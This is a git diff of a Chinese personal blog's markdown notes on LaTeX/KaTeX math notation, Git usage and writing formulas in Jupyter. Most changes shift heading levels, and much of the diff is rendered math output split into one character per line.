+ ∫
- x
+
+ a
+
+ b
- →
+
+
+
+ x
-
- 0
+
+ 2
-
-
- x
-
-
- 2
+ d
-
-
- ∫
-
-
- a
-
-
- b
+ x
-
-
- x
-
-
- 2
-
-
-
- d
-
-
- x
-
-
\lim_{x\to0}x^2\int_a^b x^2 dx
+
-
- x→0limx2∫abx2dx
-
+ x→0limx2∫abx2dx
- lim
+
+ lim
+
+
+
+
+
+
+ x
+
+
+ →
+
+
+ 0
+
+
-
+
+ x
+
+
+ 2
+
+
+ ∫
- x
+
+ a
+
+ b
- →
+
+
+
+ x
-
- 0
+
+ 2
-
-
- x
-
-
- 2
+ d
-
-
- ∫
-
-
- a
-
-
- b
+ x
-
-
- x
-
-
- 2
-
-
-
- d
-
-
- x
-
-
\lim\nolimits _{x\to0}x^2\int\nolimits_a^b x^2 dx
+
-
limx→0x2∫abx2dx
[ \iint\quad\iiint\quad\iiiint\quad\idotsint ]
@@ -533,7 +533,7 @@ KaTeX parse error: Expected 'EOF', got '\iiiint' at position 23: …quad\iiint\q
~~这里又发现markdown已经帮我们把空格加上去了.~~好吧,是我搞错了。。。
-## 定界符括号等
+### 定界符括号等
```
(x) \[ \Biggl(\biggl(\Bigl(\bigl((x)\bigr)\Bigr)\biggr)\Biggr) \]
@@ -548,346 +548,346 @@ KaTeX parse error: Expected 'EOF', got '\iiiint' at position 23: …quad\iiint\q
```
-(x)
-
+(x)
- (
+ (
+
- (
+ (
+
+ (
+
- (
+ (
+
+ (
+
- (
+ x
+
+ )
+
- (
+ )
+
+ )
+
- x
+ )
+
-
- )
-
-
- )
-
-
- )
-
-
- )
-
-
- )
+ )
+
+ \Biggl(\biggl(\Bigl(\bigl((x)\bigr)\Bigr)\biggr)\Biggr)
+
- \Biggl(\biggl(\Bigl(\bigl((x)\bigr)\Bigr)\biggr)\Biggr)
-
-
- (((((x)))))
[x]
-
+ (((((x)))))
[x]
- [
+ [
+
- [
+ [
+
+ [
+
- [
+ [
+
+ [
+
- [
+ x
+
+ ]
+
- [
+ ]
+
+ ]
+
- x
+ ]
+
-
- ]
-
-
- ]
-
-
- ]
-
-
- ]
-
-
- ]
+ ]
+
+ \Biggl[\biggl[\Bigl[\bigl[[x]\bigr]\Bigr]\biggr]\Biggr]
+
- \Biggl[\biggl[\Bigl[\bigl[[x]\bigr]\Bigr]\biggr]\Biggr]
-
-
- [[[[[x]]]]]
{x}
-
+ [[[[[x]]]]]
{x}
- {
+ {
+
- {
+ {
+
+ {
+
- {
+ {
+
+ {
+
- {
+ x
+
+ }
+
- {
+ }
+
+ }
+
- x
+ }
+
-
- }
-
-
- }
-
-
- }
-
-
- }
-
-
- }
+ }
+
+ \Biggl \{\biggl \{\Bigl \{\bigl \{\{x\}\bigr \}\Bigr \}\biggr \}\Biggr\}
+
- \Biggl \{\biggl \{\Bigl \{\bigl \{\{x\}\bigr \}\Bigr \}\biggr \}\Biggr\}
-
-
- {{{{{x}}}}}
<x>
-
+ {{{{{x}}}}}
<x>
- ⟨
+ ⟨
+
- ⟨
+ ⟨
+
+ ⟨
+
- ⟨
+ ⟨
+
+ ⟨
+
- ⟨
+ x
+
+ ⟩
+
- ⟨
+ ⟩
+
+ ⟩
+
- x
+ ⟩
+
+ ⟩
+
- ⟩
-
-
- ⟩
-
-
- ⟩
-
-
- ⟩
-
-
- ⟩
-
-
\Biggl\langle\biggl\langle\Bigl\langle\bigl\langle\langle x \rangle\bigr\rangle\Bigr\rangle\biggr\rangle\Biggr\rangle
+
-
- ⟨⟨⟨⟨⟨x⟩⟩⟩⟩⟩
|x|
-
+ ⟨⟨⟨⟨⟨x⟩⟩⟩⟩⟩
|x|
- ∣
+ ∣
+
- ∣
+ ∣
+
+ ∣
+
- ∣
+ ∣
+
+ ∣
+
- ∣
+ x
+
+ ∣
+
- ∣
+ ∣
+
+ ∣
+
- x
+ ∣
+
-
- ∣
-
-
- ∣
-
-
- ∣
-
-
- ∣
-
-
- ∣
+ ∣
+
+ \Biggl\lvert\biggl\lvert\Bigl\lvert\bigl\lvert\lvert x \rvert\bigr\rvert\Bigr\rvert\biggr\rvert\Biggr\rvert
+
- \Biggl\lvert\biggl\lvert\Bigl\lvert\bigl\lvert\lvert x \rvert\bigr\rvert\Bigr\rvert\biggr\rvert\Biggr\rvert
-
-
- ∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣x∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣
||x||
-
+ ∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣x∣∣∣∣∣∣∣∣∣∣∣∣∣∣∣
||x||
- ∥
+ ∥
+
- ∥
+ ∥
+
+ ∥
+
- ∥
+ ∥
+
+ ∥
+
- ∥
+ x
+
+ ∥
+
- ∥
+ ∥
+
+ ∥
+
- x
+ ∥
+
+ ∥
+
- ∥
-
-
- ∥
-
-
- ∥
-
-
- ∥
-
-
- ∥
-
-
\Biggl\lVert\biggl\lVert\Bigl\lVert\bigl\lVert\lVert x \rVert\bigr\rVert\Bigr\rVert\biggr\rVert\Biggr\rVert
+
-
∥∥∥∥∥∥∥∥∥∥∥∥∥∥∥x∥∥∥∥∥∥∥∥∥∥∥∥∥∥∥
-## 省略号
+### 省略号
```
\[ x_1,x_2,\dots ,x_n\quad1,2,\cdots ,n\quad\vdots\quad\ddots \]
```
-
-
+
- x
+ x
+
- 1
+ 1
+
-
- ,
-
-
-
- x
+ ,
- 2
+
+ x
+
+
+ 2
+
-
- ,
-
-
- …
-
-
- ,
-
-
-
- x
-
-
- n
+ ,
+ …
+
+ ,
+
+
+
+ x
+
+
+ n
+
+
+
- 1
+ 1
+
+ ,
+
- ,
+ 2
+
+ ,
+
- 2
+ ⋯
+  
+ ,
+
- ,
+ n
+
+
+ ⋮
+
+
+
- ⋯
-  
-
- ,
-
-
- n
-
-
-
- ⋮
-
-
-
-
- ⋱
+ ⋱
+
+ x_1,x_2,\dots ,x_n\quad1,2,\cdots ,n\quad\vdots\quad\ddots
+
- x_1,x_2,\dots ,x_n\quad1,2,\cdots ,n\quad\vdots\quad\ddots
-
-
x1,x2,…,xn1,2,⋯,n⋮⋱
-## 矩阵
+### 矩阵
```
\[ \begin{pmatrix} a&b\\c&d \end{pmatrix} \quad
@@ -898,263 +898,263 @@ KaTeX parse error: Expected 'EOF', got '\iiiint' at position 23: …quad\iiint\q
```
-
-
+
- (
-
-
-
-
-
- a
-
-
-
-
-
-
- b
-
-
-
+ (
- c
+
+ a
+
+
+
+
+
+
+ b
+
- d
+
+ c
+
+
+
+
+
+
+ d
+
+ )
+
- )
-
-
\begin{pmatrix} a&b\\c&d \end{pmatrix} \quad
+
-
- (acbd)
-
+ (acbd)
- [
-
-
-
-
-
- a
-
-
-
-
-
-
- b
-
-
-
+ [
- c
+
+ a
+
+
+
+
+
+
+ b
+
- d
+
+ c
+
+
+
+
+
+
+ d
+
+ ]
+
- ]
-
-
\begin{bmatrix} a&b\\c&d \end{bmatrix} \quad
+
-
- [acbd]
-
+ [acbd]
- {
-
-
-
-
-
- a
-
-
-
-
-
-
- b
-
-
-
+ {
- c
+
+ a
+
+
+
+
+
+
+ b
+
- d
+
+ c
+
+
+
+
+
+
+ d
+
+ }
+
- }
-
-
\begin{Bmatrix} a&b\\c&d \end{Bmatrix} \quad
+
-
- {acbd}
-
+ {acbd}
- ∣
-
-
-
-
-
- a
-
-
-
-
-
-
- b
-
-
-
+ ∣
- c
+
+ a
+
+
+
+
+
+
+ b
+
- d
+
+ c
+
+
+
+
+
+
+ d
+
+ ∣
+
- ∣
-
-
\begin{vmatrix} a&b\\c&d \end{vmatrix} \quad
+
-
- ∣∣∣∣acbd∣∣∣∣
-
+ ∣∣∣∣acbd∣∣∣∣
- ∥
-
-
-
-
-
- a
-
-
-
-
-
-
- b
-
-
-
+ ∥
- c
+
+ a
+
+
+
+
+
+
+ b
+
- d
+
+ c
+
+
+
+
+
+
+ d
+
+ ∥
+
- ∥
-
-
\begin{Vmatrix} a&b\\c&d \end{Vmatrix}
+
-
∥∥∥∥acbd∥∥∥∥
使用 smallmatrix 环境,可以生成行内公式的小矩阵。
@@ -1170,11 +1170,11 @@ Marry has a little matrix $ ( \begin{smallmatrix} a&b\c&d \end{smallmatr
Marry has a little matrix $ | \begin{smallmatrix} a&b\c&d \end{smallmatrix} | $.
-## 多行公式
+### 多行公式
有的公式特别长,我们需要手动为他们换行;有几个公式是一组,我们需要将他们放在一起;还有些类似分段函数,我们需要给它加上一个左边的花括号。
-### 长公式
+#### 长公式
不对齐:
@@ -1208,63 +1208,63 @@ d+e+f+g
```
-一行显示居中对齐:
-
+一行显示居中对齐:
- x
+ x
+
- =
+ =
+
+ a
+
- a
+ +
+
+ b
+
- +
+ +
+
+ c
+
- b
+ +
+
+ d
+
- +
+ +
+
+ e
+
- c
+ +
+
+ f
+
- +
+ +
+
+ g
+
- d
-
-
- +
-
-
- e
-
-
- +
-
-
- f
-
-
- +
-
-
- g
-
-
x =a+b+c+d+e+f+g
+
-
x=a+b+c+d+e+f+g
-### 公式组
+#### 公式组
无需对齐的公式组可以使用 gather 环境,需要对齐的公式组可以使用 align 环境。他们都带有编号,如果不需要编号可以使用带`*`的版本。
@@ -1281,7 +1281,7 @@ x &= y+z
```
-### 分段函数
+#### 分段函数
分段函数可以用cases次环境来实现,它必须包含在数学环境之内。
@@ -1295,7 +1295,7 @@ x,\quad x>0
这里,LaTex和md的空格都不起作用了…
-## 插入图片和表格
+### 插入图片和表格
这里由于md本身已经支持了图片和和表格,所以关于LaTex本身的图片和表格就无须了解,要知道md支持LaTex数学公式,这个文档就是纯md写的.
@@ -1313,9 +1313,9 @@ x,\quad x>0
“htbp” 选项用来指定插图的理想位置,这几个字母分别代表here, top, bottom, float page,也就是就这里、页顶、页尾、浮动页(专门放浮动体的单独页面) 。\centering 用来使插图居中;\caption 命令设置插图标题,LaTeX 会自动给浮动体的标题加上编号。注意 \label 应该放在标题命令之后。
-## 一点背景
+### 一点背景
-### TeX - LaTeX
+#### TeX - LaTeX
TeX 是高德纳(Donald Ervin Knuth,1938年1月10日 –)教授愤世嫉俗(大雾;追求完美)做出来的排版引擎,同时也是该引擎使用的标记语言(Markup Lang)的名称。这里所谓的引擎,是指能够实现断行、分页等操作的程序(请注意这并不是定义);这里的标记语言,是指一种将控制命令和文本结合起来的格式,它的主体是其中的文本而控制命令则实现一些特殊效果(同样请注意这并不是定义)。
@@ -1323,7 +1323,7 @@ TeX 是高德纳(Donald Ervin Knuth,1938年1月10日 –)教授愤世嫉
所以:
-### pdfTeX - pdfLaTeX
+#### pdfTeX - pdfLaTeX
pdfTeX 直接输出 pdf 格式文档,而 TeX 引擎则输出 dvi 格式的文档。
@@ -1331,7 +1331,7 @@ pdfLaTeX 这个程序的主要工作依旧是将 LaTeX 格式的文档进行解
更多LaTex知识请看[LaTeX 入门文档](https://liam0205.me/2014/09/08/latex-introduction/)。
-### 总结
+#### 总结
TeX - pdfTeX - XeTeX - LuaTeX 都是排版引擎,按照先进程度递增(LuaTeX 尚未完善)。
diff --git a/blog/ds19991999/原创-- 02-图解Git笔记.md b/blog/ds19991999/原创-- 02-图解Git笔记.md
index 1f6853b..04a6863 100644
--- a/blog/ds19991999/原创-- 02-图解Git笔记.md
+++ b/blog/ds19991999/原创-- 02-图解Git笔记.md
@@ -3,17 +3,17 @@
# 02-图解Git笔记
-# 图解Git笔记
+## 图解Git笔记
>
参考:[图解 Git](http://marklodato.github.io/visual-git-guide/index-zh-cn.html)
-## 基本用法
+### 基本用法
-## 命令详解
+### 命令详解
-### Diff
+#### Diff
```
git diff maint(分支名)
@@ -23,18 +23,18 @@ git diff
git diff HEAD
```
-### Commit
+#### Commit
或者
如果想**更改一次提交**,使用 `git commit --amend`。git会使用与当前提交相同的父节点进行一次新提交,旧的提交会被取消。
-### Checkout
+#### Checkout
-### Reset
+#### Reset
-### Merge
+#### Merge
-### Cherry Pick
+#### Cherry Pick
-### Rebase
+#### Rebase
diff --git a/blog/ds19991999/原创-- 03-廖雪峰Git教程笔记.md b/blog/ds19991999/原创-- 03-廖雪峰Git教程笔记.md
index 4f5316d..b165647 100644
--- a/blog/ds19991999/原创-- 03-廖雪峰Git教程笔记.md
+++ b/blog/ds19991999/原创-- 03-廖雪峰Git教程笔记.md
@@ -3,29 +3,29 @@
# 03-廖雪峰Git教程笔记
-# 廖雪峰Git教程笔记
+## 廖雪峰Git教程笔记
-## 教程导图
+### 教程导图
-## 集中式和分布式
+### 集中式和分布式
-## 配置信息
+### 配置信息
```
git config --global user.name "Your Name"
git config --global user.email "email@example.com"
```
-## 创建版本库
+### 创建版本库
-## 修改文件并提交
+### 修改文件并提交
```
git status # 查看当前状态
git diff README.TXT # 查看被修改的文件具体修改的内容
```
-## 版本回退
+### 版本回退
```
# version1 README.txt
@@ -46,21 +46,21 @@ Git is free software distributed under the GPL.
git reset --hard <版本号>
```
-## 工作区和暂存区
+### 工作区和暂存区
-## 管理修改
+### 管理修改
-## 撤销修改
+### 撤销修改
-## 删除文件
+### 删除文件
-## 远程仓库
+### 远程仓库
-## 分支管理:
+### 分支管理:
-### 创建与合并分支:
+#### 创建与合并分支:
-### 删除指针,也就是删除指针而已
+#### 删除指针,也就是删除指针而已
```
# 创建dev分支,此时远程库并没有dev分支,-b表示创建并切换
@@ -81,11 +81,11 @@ git branch -d dev
# 安全起见,使用分支完成某个任务,合并后再删掉分支
```
-### 冲突解决:
+#### 冲突解决:
-### 分支管理策略:
+#### 分支管理策略:
-### Bug分支:
+#### Bug分支:
```
# 查看当前分支(dev),发现未提交的文件,但由于未完成,所以不想提交
@@ -126,7 +126,7 @@ git stash list
git stash apply stash@{0}
```
-### Feature分支:
+#### Feature分支:
```
# 开发代号为Vulcan的新功能
@@ -144,7 +144,7 @@ git branch -d feature-vulcan # 发现并不能删除分支
git branch -D feature-vulcan
```
-### 多人协作:
+#### 多人协作:
```
# 指定本地dev分支与远程origin/dev分支的链接
@@ -158,11 +158,11 @@ git pull
git push origin dev
```
-### Rebase:
+#### Rebase:
-## 标签管理
+### 标签管理
-### 创建标签
+#### 创建标签
```
# 切换打标签的分支
@@ -189,7 +189,7 @@ git tag -a v0.1 -m "version 0.1 released" 1094adb
git show <tagname>
```
-### 删除标签
+#### 删除标签
```
# 删除标签
@@ -208,18 +208,18 @@ git tag -d v0.9
git push origin :refs/tags/v0.9
```
-### GitHub Pages
+#### GitHub Pages
-### 使用码云仓
+#### 使用码云仓
-## 自定义Git
+### 自定义Git
```
# 让Git显示颜色
git config --global color.ui true
```
-### 忽略特殊文件
+#### 忽略特殊文件
```
# Windows:
@@ -240,14 +240,14 @@ db.ini
deploy_key_rsa
```
-### 配置别名
+#### 配置别名
```
# 配置lg,查看分支合并情况
git config --global alias.lg "log --color --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit"
```
-## 搭建Git服务器
+### 搭建Git服务器
```
# 安装git
diff --git a/blog/ds19991999/原创-- 03-用Jupyter编写数学公式.md b/blog/ds19991999/原创-- 03-用Jupyter编写数学公式.md
index c99d583..d283c4d 100644
--- a/blog/ds19991999/原创-- 03-用Jupyter编写数学公式.md
+++ b/blog/ds19991999/原创-- 03-用Jupyter编写数学公式.md
@@ -3,11 +3,11 @@
# 03-用Jupyter编写数学公式
-# 用jupyter编写数学公式
+## 用jupyter编写数学公式
-# Contents
+## Contents
-## 两种数学模式
+### 两种数学模式
直接切入正题,毕竟我是在用Jupyter,不是LaTex。。。
@@ -16,84 +16,84 @@ $P(A \mid B) = \frac{ P(B \mid A) P(A) }{ P(B) }$
```
-
-
+
- P
-
-
- (
-
-
- A
-
-
- ∣
-
-
- B
-
-
- )
-
-
- =
-
+ P
-
- P
-
-
- (
-
-
- B
-
-
- ∣
-
-
- A
-
-
- )
-
-
- P
-
-
- (
-
-
- A
-
-
- )
-
+
+ (
+
+
+ A
+
+
+ ∣
+
+
+ B
+
+
+ )
+
+
+ =
- P
+
+ P
+
+
+ (
+
+
+ B
+
+
+ ∣
+
+
+ A
+
+
+ )
+
+
+ P
+
+
+ (
+
+
+ A
+
+
+ )
+
- (
+ P
+
- B
+ (
+
+ B
+
- )
+ )
+
+ P(A \mid B) = \frac{ P(B \mid A) P(A) }{ P(B) }
+
- P(A \mid B) = \frac{ P(B \mid A) P(A) }{ P(B) }
-
-
P(A∣B)=P(B)P(B∣A)P(A)
```
@@ -101,87 +101,87 @@ $P(A \mid B) = \frac{ P(B \mid A) P(A) }{ P(B) }$
```
-贝叶斯公式:
-
+贝叶斯公式:
- P
-
-
- (
-
-
- A
-
-
- ∣
-
-
- B
-
-
- )
-
-
- =
-
+ P
-
- P
-
-
- (
-
-
- B
-
-
- ∣
-
-
- A
-
-
- )
-
-
- P
-
-
- (
-
-
- A
-
-
- )
-
+
+ (
+
+
+ A
+
+
+ ∣
+
+
+ B
+
+
+ )
+
+
+ =
- P
+
+ P
+
+
+ (
+
+
+ B
+
+
+ ∣
+
+
+ A
+
+
+ )
+
+
+ P
+
+
+ (
+
+
+ A
+
+
+ )
+
- (
+ P
+
- B
+ (
+
+ B
+
- )
+ )
+
+ P(A \mid B) = \frac{ P(B \mid A) P(A) }{ P(B) }
+
- P(A \mid B) = \frac{ P(B \mid A) P(A) }{ P(B) }
-
-
P(A∣B)=P(B)P(B∣A)P(A)
-## 空格
+### 空格
```
$$a\quad\a$$
@@ -196,828 +196,828 @@ KaTeX parse error: Expected 'EOF', got '\a' at position 7: a\quad\̲a̲
`$$\intf(x) \; dx$$`
-
-
+
- ∫
+ ∫
+
- f
+ f
+
+ (
+
- (
+ x
+
+ )
+   
- x
+ d
+
-
- )
-   
-
- d
-
-
- x
+ x
+
+ \int f(x) \; dx
+
- \int f(x) \; dx
-
-
∫f(x)dx
-## 上标和下标
+### 上标和下标
`$$x^2$$`
-
-
+
- x
+ x
+
- 2
+ 2
+
+ x^2
+
- x^2
-
-
x2
`$$e^2x$$`
-
-
+
- e
+ e
+
- 2
+ 2
+
-
- x
+ x
+
+ e^2x
+
- e^2x
-
-
e2x
`$$e^{2x}$$`
-
-
-
-
-
-
- e
-
-
-
- 2
-
-
- x
-
-
-
-
-
- e^{2x}
-
-
- e2x
`$$x_i$$`
-
-
-
-
-
- x
-
-
- i
-
-
-
-
- x_i
-
-
- xi
`$$_{10}C_5$$`
-
+
- 10
-
-
-
-
- C
-
-
- 5
+ e
+
+
+
+ 2
+
+
+ x
+
+
+ e^{2x}
+
- _{10}C_5
-
+ e2x
`$$x_i$$`
- 10C5
`$$\underset{k}{argmax}$$`
-
+
+
+
+
+ x
+
+
+ i
+
+
+
+
+ x_i
+
+
+ xi
`$$_{10}C_5$$`
- a
-
-
- r
-
-
- g
-
-
- m
-
-
- a
-
-
- x
+
+ 10
- k
+
+ C
+
+
+ 5
+
+ _{10}C_5
+
- \underset{k}{argmax}
-
+ 10C5
`$$\underset{k}{argmax}$$`
+
+
+
+
+
+ a
+
+
+ r
+
+
+ g
+
+
+ m
+
+
+ a
+
+
+ x
+
+
+
+ k
+
+
+
+
+ \underset{k}{argmax}
+
+
kargmax
-## 命令
+### 命令
特定的符号和形式通过命令进行编写,每一个命令以反斜杠开始,一个命令名紧随其后。比如说,创建一个平方根的表达式 `$ \sqrt{2\pi} $$` 显示为
-
-
+
- 2
+ 2
+
- π
+ π
+
-
\sqrt{2\pi}
+
-
2π
-
`$$\frac{a}{b}$$`
-
+
`$$\frac{a}{b}$$`
- a
+ a
+
- b
+ b
+
+ \frac{a}{b}
+
- \frac{a}{b}
-
-
ba
-## 符号
+### 符号
-`$$\alpha, \beta, \gamma$$`
-
+`$$\alpha, \beta, \gamma$$`
- α
+ α
+
- ,
+ ,
+
+ β
+
- β
+ ,
+
-
- ,
-
-
- γ
+ γ
+
+ \alpha, \beta, \gamma
+
- \alpha, \beta, \gamma
-
-
- α,β,γ
`$$\Phi, \Lambda, \Gamma$$`
-
+ α,β,γ
`$$\Phi, \Lambda, \Gamma$$`
- Φ
+ Φ
+
- ,
+ ,
+
+ Λ
+
- Λ
+ ,
+
-
- ,
-
-
- Γ
+ Γ
+
+ \Phi, \Lambda, \Gamma
+
- \Phi, \Lambda, \Gamma
-
-
- Φ,Λ,Γ
`$$\times, \pm, \cup, \oplus$$`
-
+ Φ,Λ,Γ
`$$\times, \pm, \cup, \oplus$$`
- ×
+ ×
+
- ,
+ ,
+
+ ±
+
- ±
+ ,
+
+ ∪
+
- ,
+ ,
+
-
- ∪
-
-
- ,
-
-
- ⊕
+ ⊕
+
+ \times, \pm, \cup, \oplus
+
- \times, \pm, \cup, \oplus
-
-
- ×,±,∪,⊕
`$$\sin, \cosh, \arctan$$`
-
+ ×,±,∪,⊕
`$$\sin, \cosh, \arctan$$`
- sin
+ sin
+
-
+
+
+ ,
+
- ,
+ cosh
+
+
+
- cosh
+ ,
+
+ arctan
+
-
-
-
- ,
-
-
- arctan
-
-
-
+
+
+ \sin, \cosh, \arctan
+
- \sin, \cosh, \arctan
-
-
- sin,cosh,arctan
`$$\leq, \geq, \approx, \neq$$`
-
+ sin,cosh,arctan
`$$\leq, \geq, \approx, \neq$$`
- ≤
+ ≤
+
- ,
+ ,
+
+ ≥
+
- ≥
+ ,
+
+ ≈
+
- ,
+ ,
+
-
- ≈
-
-
- ,
-
-
- ≠
+ ≠
+
+ \leq, \geq, \approx, \neq
+
- \leq, \geq, \approx, \neq
-
-
- ≤,≥,≈,̸=
`$$\cdots, \ldots, \ddots$$`
-
+ ≤,≥,≈,̸=
`$$\cdots, \ldots, \ddots$$`
- ⋯
-  
- ,
+ ⋯
+  
+ ,
+
- …
+ …
+
+ ,
+
- ,
-
-
- ⋱
+ ⋱
+
+ \cdots, \ldots, \ddots
+
- \cdots, \ldots, \ddots
-
-
- ⋯,…,⋱
`$$\infty, \nabla, \partial $$`
-
+ ⋯,…,⋱
`$$\infty, \nabla, \partial $$`
- ∞
+ ∞
+
- ,
+ ,
+
+ ∇
+
- ∇
+ ,
+
-
- ,
-
-
- ∂
+ ∂
+
+ \infty, \nabla, \partial
+
- \infty, \nabla, \partial
-
-
∞,∇,∂
-## 头标
+### 头标
-`$$\hat x$$`
-
+`$$\hat x$$`
- x
+ x
+
- ^
+ ^
+
+ \hat x
+
- \hat x
-
-
- x^
`$$\widehat{abs}$$`
-
+ x^
`$$\widehat{abs}$$`
- a
+ a
+
- b
+ b
+
-
- s
+ s
+
-
- ^
+ ^
+
+ \widehat{abs}
+
- \widehat{abs}
-
-
abs
-
`$$\bar x $$`
-
+
`$$\bar x $$`
- x
+ x
+
- ˉ
+ ˉ
+
+ \bar x
+
- \bar x
-
-
- xˉ
`$$\overline{abs}$$`
-
+ xˉ
`$$\overline{abs}$$`
- a
+ a
+
- b
+ b
+
-
- s
+ s
+
-
- ‾
+ ‾
+
+ \overline{abs}
+
- \overline{abs}
-
-
- abs
`$$\dot x\quad\ddot x $$`
-
+ abs
`$$\dot x\quad\ddot x $$`
- x
+
+ x
+
+
+ ˙
+
- ˙
-
-
-
-
-
- x
- ¨
+ x
+
+
+ ¨
+
+ \dot x\quad\ddot x
+
- \dot x\quad\ddot x
-
-
- x˙x¨
`$$\vec{x}, \overrightarrow{AB}$$`
-
+ x˙x¨
`$$\vec{x}, \overrightarrow{AB}$$`
- x
-
- ⃗
-
-
-
- ,
-
-
-
-
- A
-
-
- B
+ x
+ ⃗
+
- →
+
+ ,
+
+
+
+
+ A
+
+
+ B
+
+
+
+ →
+
+ \vec{x}, \overrightarrow{AB}
+
- \vec{x}, \overrightarrow{AB}
-
-
x
,AB
-## 括号
+### 括号
-`$$z=(\frac{dx}{dy})^{1/3}$$`
-
+`$$z=(\frac{dx}{dy})^{1/3}$$`
- z
-
-
- =
-
-
- (
-
+ z
-
- d
-
-
- x
-
+
+ =
+
+
+ (
- d
-
-
- y
-
-
-
-
-
- )
-
-
-
- 1
-
-
- /
-
-
- 3
-
-
-
-
-
- z=(\frac{dx}{dy})^{1/3}
-
-
- z=(dydx)1/3
`$$z=\left(\frac{dx}{dy}\right)^{1/3}$$`
-
-
-
-
- z
-
-
- =
-
-
-
-
- (
-
+ d
-
- d
-
-
- x
-
-
-
-
- d
-
-
- y
-
+
+ x
- )
+
+ d
+
+
+ y
+
-
- 1
+
+ )
- /
+ 1
+
- 3
+ /
+
+
+ 3
+
+ z=(\frac{dx}{dy})^{1/3}
+
- z=\left(\frac{dx}{dy}\right)^{1/3}
-
-
- z=(dydx)1/3
`$$ {\langle} {\phi} \mid {\psi} {\rangle} $$`
-
+ z=(dydx)1/3
`$$z=\left(\frac{dx}{dy}\right)^{1/3}$$`
- ⟨
+ z
+
- ϕ
-
-
- ∣
-
-
- ψ
-
-
- ⟩
+ =
+
+
+
+
+ (
+
+
+
+
+ d
+
+
+ x
+
+
+
+
+ d
+
+
+ y
+
+
+
+
+ )
+
+
+
+
+ 1
+
+
+ /
+
+
+ 3
+
+
+
+ z=\left(\frac{dx}{dy}\right)^{1/3}
+
+
+ z=(dydx)1/3
`$$ {\langle} {\phi} \mid {\psi} {\rangle} $$`
+
+
+
+
+ ⟨
+
+
+ ϕ
+
+
+ ∣
+
+
+ ψ
+
+
+ ⟩
+
+
{\langle} {\phi} \mid {\psi} {\rangle}
+
-
- ⟨ϕ∣ψ⟩
`$$ {\langle} {\phi} \vert {\psi} {\rangle} $$`
-
+ ⟨ϕ∣ψ⟩
`$$ {\langle} {\phi} \vert {\psi} {\rangle} $$`
- ⟨
+ ⟨
+
- ϕ
+ ϕ
+
+ ∣
+
- ∣
+ ψ
+
+ ⟩
+
- ψ
-
-
- ⟩
-
-
{\langle} {\phi} \vert {\psi} {\rangle}
+
-
- ⟨ϕ∣ψ⟩
`$$\left[\begin{matrix}a & b \cr c & d\end{matrix}\right]$$`
-
+ ⟨ϕ∣ψ⟩
`$$\left[\begin{matrix}a & b \cr c & d\end{matrix}\right]$$`
- [
-
-
-
-
-
- a
-
-
-
-
-
-
- b
-
-
-
+ [
- c
+
+ a
+
+
+
+
+
+
+ b
+
- d
+
+ c
+
+
+
+
+
+
+ d
+
-
- ]
+ ]
+
+ \left[\begin{matrix}a & b \cr c & d\end{matrix}\right]
+
- \left[\begin{matrix}a & b \cr c & d\end{matrix}\right]
-
-
- [acbd]
`$$\left\lgroup\begin{matrix}a & b \cr c & d\end{matrix}\right\rgroup$$`
-
+ [acbd]
`$$\left\lgroup\begin{matrix}a & b \cr c & d\end{matrix}\right\rgroup$$`
- ⟮
-
-
-
-
-
- a
-
-
-
-
-
-
- b
-
-
-
+ ⟮
- c
+
+ a
+
+
+
+
+
+
+ b
+
- d
+
+ c
+
+
+
+
+
+
+ d
+
-
- ⟯
+ ⟯
+
+ \left\lgroup\begin{matrix}a & b \cr c & d\end{matrix}\right\rgroup
+
- \left\lgroup\begin{matrix}a & b \cr c & d\end{matrix}\right\rgroup
-
-
⎩⎪⎪⎧acbd⎭⎪⎪⎫
-## 字体及其选项
+### 字体及其选项
```
# 非斜体罗马文本
@@ -1026,18 +1026,18 @@ KaTeX parse error: Expected 'EOF', got '\a' at position 7: a\quad\̲a̲
```
-
-
+
- abcdefghijklmn123456
+
+ abcdefghijklmn123456
+
+ \textrm{abcdefghijklmn123456}
+
- \textrm{abcdefghijklmn123456}
-
-
abcdefghijklmn123456
```
@@ -1045,60 +1045,60 @@ KaTeX parse error: Expected 'EOF', got '\a' at position 7: a\quad\̲a̲
左对齐:
```
@@ -1278,8 +1278,7 @@ a_3&=b_3+c_3
```
-
-
+
@@ -1287,10 +1286,41 @@ a_3&=b_3+c_3
- a
+ a
+
- 1
+ 1
+
+
+
+
+
+
+
+
+
+ =
+
+
+
+ b
+
+
+ 1
+
+
+
+ +
+
+
+
+ c
+
+
+ 1
+
+
@@ -1300,40 +1330,51 @@ a_3&=b_3+c_3
- =
-
-
-
- b
-
-
- 1
+ a
-
- +
-
-
-
- c
-
-
- 1
+ 2
-
-
-
-
- a
+
+ =
+
+
+
+ b
+
+
+ 2
+
+
- 2
+ +
+
+
+
+ c
+
+
+ 2
+
+
+
+ +
+
+
+
+ d
+
+
+ 2
+
+
@@ -1343,79 +1384,39 @@ a_3&=b_3+c_3
- =
-
-
-
- b
-
-
- 2
+ a
-
- +
-
-
-
- c
-
-
- 2
-
-
-
- +
-
-
-
- d
-
-
- 2
+ 3
-
-
-
-
- a
-
-
- 3
-
-
-
-
-
-
-
-
-
- =
-
-
-
- b
-
-
- 3
-
- +
-
-
-
- c
+ =
- 3
+
+ b
+
+
+ 3
+
+
+
+ +
+
+
+
+ c
+
+
+ 3
+
@@ -1423,13 +1424,12 @@ a_3&=b_3+c_3
+ \begin{aligned} a_1&=b_1+c_1 \\ a_2&=b_2+c_2+d_2 \\ a_3&=b_3+c_3 \end{aligned}
+
- \begin{aligned} a_1&=b_1+c_1 \\ a_2&=b_2+c_2+d_2 \\ a_3&=b_3+c_3 \end{aligned}
-
-
a1a2a3=b1+c1=b2+c2+d2=b3+c3
-## 分段函数
+### 分段函数
```
$$
@@ -1443,77 +1443,64 @@ $$
```
-
-
+
- s
-
-
- i
-
-
- g
-
-
- n
-
-
- (
-
-
- x
-
-
- )
-
-
- =
-
+ s
- {
+
+ i
+
+
+ g
+
+
+ n
+
+
+ (
+
+
+ x
+
+
+ )
+
+
+ =
-
-
-
-
-
- 1
-
-
- ,
-
-
-
-
-
-
-
-
- x
-
-
- >
-
-
- 0
-
-
-
-
+
+ {
- 0
+
+ 1
+
+
+ ,
+
+
+
+
+
+
- ,
+ x
+
+
+ >
+
+
+ 0
+
@@ -1522,30 +1509,27 @@ $$
- x
+ 0
+
- =
-
-
- 0
+ ,
+
-
-
-
-
- −
+ x
+
- 1
+ =
+
-
